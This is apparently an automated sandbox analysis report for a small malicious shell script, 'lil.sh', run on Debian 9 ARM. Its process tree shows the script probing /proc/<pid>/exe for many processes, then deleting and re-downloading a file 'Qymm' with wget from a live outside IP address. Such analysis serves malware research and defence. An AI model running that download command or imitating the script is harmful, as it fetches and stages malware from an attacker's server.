Overview

overview

3

Static

static

1

lil.sh

ubuntu-18.04-amd64

3

lil.sh

debian-9-armhf

3

lil.sh

debian-9-mips

lil.sh

debian-9-mipsel

Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    20/07/2026, 20:00

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    lil.sh
  • Size 852B
  • Sample260720-yre4vsfv3z
  • SHA256 05feafe05fedb138116489ceca8a84b302ed59e2f3d18daa9527b057aa485c9a
  • MD5 SHA1 SHA512 TLSH
Score
3/10
discovery

Malware Config

Signatures

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery

Processes

  • /tmp/lil.sh
    /tmp/lil.sh
    1⤵
      PID:638
      • /bin/ls
        ls -l /proc/1/exe
        2⤵
        • Reads runtime system information
        PID:639
      • /bin/ls
        ls -l /proc/10/exe
        2⤵
        • Reads runtime system information
        PID:646
      • /bin/ls
        ls -l /proc/106/exe
        2⤵
        • Reads runtime system information
        PID:650
      • /bin/ls
        ls -l /proc/108/exe
        2⤵
        • Reads runtime system information
        PID:655
      • /bin/ls
        ls -l /proc/109/exe
        2⤵
        • Reads runtime system information
        PID:659
      • /bin/ls
        ls -l /proc/11/exe
        2⤵
        • Reads runtime system information
        PID:663
      • /bin/ls
        ls -l /proc/12/exe
        2⤵
        • Reads runtime system information
        PID:665
      • /bin/ls
        ls -l /proc/13/exe
        2⤵
        • Reads runtime system information
        PID:668
      • /bin/ls
        ls -l /proc/135/exe
        2⤵
        • Reads runtime system information
        PID:670
      • /bin/ls
        ls -l /proc/137/exe
        2⤵
        • Reads runtime system information
        PID:672
      • /bin/ls
        ls -l /proc/14/exe
        2⤵
        • Reads runtime system information
        PID:673
      • /bin/ls
        ls -l /proc/15/exe
        2⤵
        • Reads runtime system information
        PID:674
      • /bin/ls
        ls -l /proc/153/exe
        2⤵
        • Reads runtime system information
        PID:675
      • /bin/ls
        ls -l /proc/159/exe
        2⤵
        • Reads runtime system information
        PID:677
      • /bin/ls
        ls -l /proc/16/exe
        2⤵
        • Reads runtime system information
        PID:678
      • /bin/ls
        ls -l /proc/169/exe
        2⤵
        • Reads runtime system information
        PID:679
      • /bin/ls
        ls -l /proc/17/exe
        2⤵
        • Reads runtime system information
        PID:680
      • /bin/ls
        ls -l /proc/18/exe
        2⤵
        • Reads runtime system information
        PID:681
      • /bin/ls
        ls -l /proc/19/exe
        2⤵
        • Reads runtime system information
        PID:682
      • /bin/ls
        ls -l /proc/2/exe
        2⤵
        • Reads runtime system information
        PID:683
      • /bin/ls
        ls -l /proc/20/exe
        2⤵
        • Reads runtime system information
        PID:684
      • /bin/ls
        ls -l /proc/207/exe
        2⤵
        • Reads runtime system information
        PID:685
      • /bin/ls
        ls -l /proc/21/exe
        2⤵
        • Reads runtime system information
        PID:686
      • /bin/ls
        ls -l /proc/22/exe
        2⤵
        • Reads runtime system information
        PID:687
      • /bin/ls
        ls -l /proc/23/exe
        2⤵
        • Reads runtime system information
        PID:688
      • /bin/ls
        ls -l /proc/24/exe
        2⤵
        • Reads runtime system information
        PID:689
      • /bin/ls
        ls -l /proc/25/exe
        2⤵
        • Reads runtime system information
        PID:690
      • /bin/ls
        ls -l /proc/26/exe
        2⤵
        • Reads runtime system information
        PID:691
      • /bin/ls
        ls -l /proc/267/exe
        2⤵
        • Reads runtime system information
        PID:692
      • /bin/ls
        ls -l /proc/27/exe
        2⤵
        • Reads runtime system information
        PID:693
      • /bin/ls
        ls -l /proc/28/exe
        2⤵
        • Reads runtime system information
        PID:694
      • /bin/ls
        ls -l /proc/281/exe
        2⤵
        • Reads runtime system information
        PID:695
      • /bin/ls
        ls -l /proc/282/exe
        2⤵
        • Reads runtime system information
        PID:696
      • /bin/ls
        ls -l /proc/285/exe
        2⤵
        • Reads runtime system information
        PID:697
      • /bin/ls
        ls -l /proc/288/exe
        2⤵
        • Reads runtime system information
        PID:698
      • /bin/ls
        ls -l /proc/29/exe
        2⤵
        • Reads runtime system information
        PID:699
      • /bin/ls
        ls -l /proc/294/exe
        2⤵
        • Reads runtime system information
        PID:700
      • /bin/ls
        ls -l /proc/297/exe
        2⤵
        • Reads runtime system information
        PID:701
      • /bin/ls
        ls -l /proc/3/exe
        2⤵
        • Reads runtime system information
        PID:702
      • /bin/ls
        ls -l /proc/310/exe
        2⤵
        • Reads runtime system information
        PID:703
      • /bin/ls
        ls -l /proc/312/exe
        2⤵
        • Reads runtime system information
        PID:704
      • /bin/ls
        ls -l /proc/322/exe
        2⤵
        • Reads runtime system information
        PID:705
      • /bin/ls
        ls -l /proc/4/exe
        2⤵
        • Reads runtime system information
        PID:706
      • /bin/ls
        ls -l /proc/41/exe
        2⤵
        • Reads runtime system information
        PID:707
      • /bin/ls
        ls -l /proc/42/exe
        2⤵
        • Reads runtime system information
        PID:708
      • /bin/ls
        ls -l /proc/43/exe
        2⤵
        • Reads runtime system information
        PID:709
      • /bin/ls
        ls -l /proc/5/exe
        2⤵
        • Reads runtime system information
        PID:710
      • /bin/ls
        ls -l /proc/556/exe
        2⤵
        • Reads runtime system information
        PID:711
      • /bin/ls
        ls -l /proc/569/exe
        2⤵
        • Reads runtime system information
        PID:712
      • /bin/ls
        ls -l /proc/572/exe
        2⤵
          PID:713
        • /bin/ls
          ls -l /proc/583/exe
          2⤵
          • Reads runtime system information
          PID:714
        • /bin/ls
          ls -l /proc/584/exe
          2⤵
          • Reads runtime system information
          PID:715
        • /bin/ls
          ls -l /proc/6/exe
          2⤵
          • Reads runtime system information
          PID:718
        • /bin/ls
          ls -l /proc/626/exe
          2⤵
          • Reads runtime system information
          PID:719
        • /bin/ls
          ls -l /proc/627/exe
          2⤵
          • Reads runtime system information
          PID:722
        • /bin/ls
          ls -l /proc/629/exe
          2⤵
          • Reads runtime system information
          PID:724
        • /bin/ls
          ls -l /proc/632/exe
          2⤵
          • Reads runtime system information
          PID:726
        • /bin/ls
          ls -l /proc/634/exe
          2⤵
          • Reads runtime system information
          PID:728
        • /bin/ls
          ls -l /proc/635/exe
          2⤵
          • Reads runtime system information
          PID:730
        • /bin/ls
          ls -l /proc/636/exe
          2⤵
          • Reads runtime system information
          PID:732
        • /bin/ls
          ls -l /proc/638/exe
          2⤵
          • Reads runtime system information
          PID:734
        • /bin/ls
          ls -l /proc/7/exe
          2⤵
          • Reads runtime system information
          PID:737
        • /bin/ls
          ls -l /proc/76/exe
          2⤵
          • Reads runtime system information
          PID:739
        • /bin/ls
          ls -l /proc/8/exe
          2⤵
          • Reads runtime system information
          PID:741
        • /bin/ls
          ls -l /proc/9/exe
          2⤵
            PID:744
          • /bin/ls
            ls -l /proc/98/exe
            2⤵
            • Reads runtime system information
            PID:745
          • /bin/rm
            rm -rf Qymm
            2⤵
              PID:748
            • /usr/bin/wget
              wget http://129.121.114.124/Qymm
              2⤵
                PID:749

            Network

                  MITRE ATT&CK Matrix

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads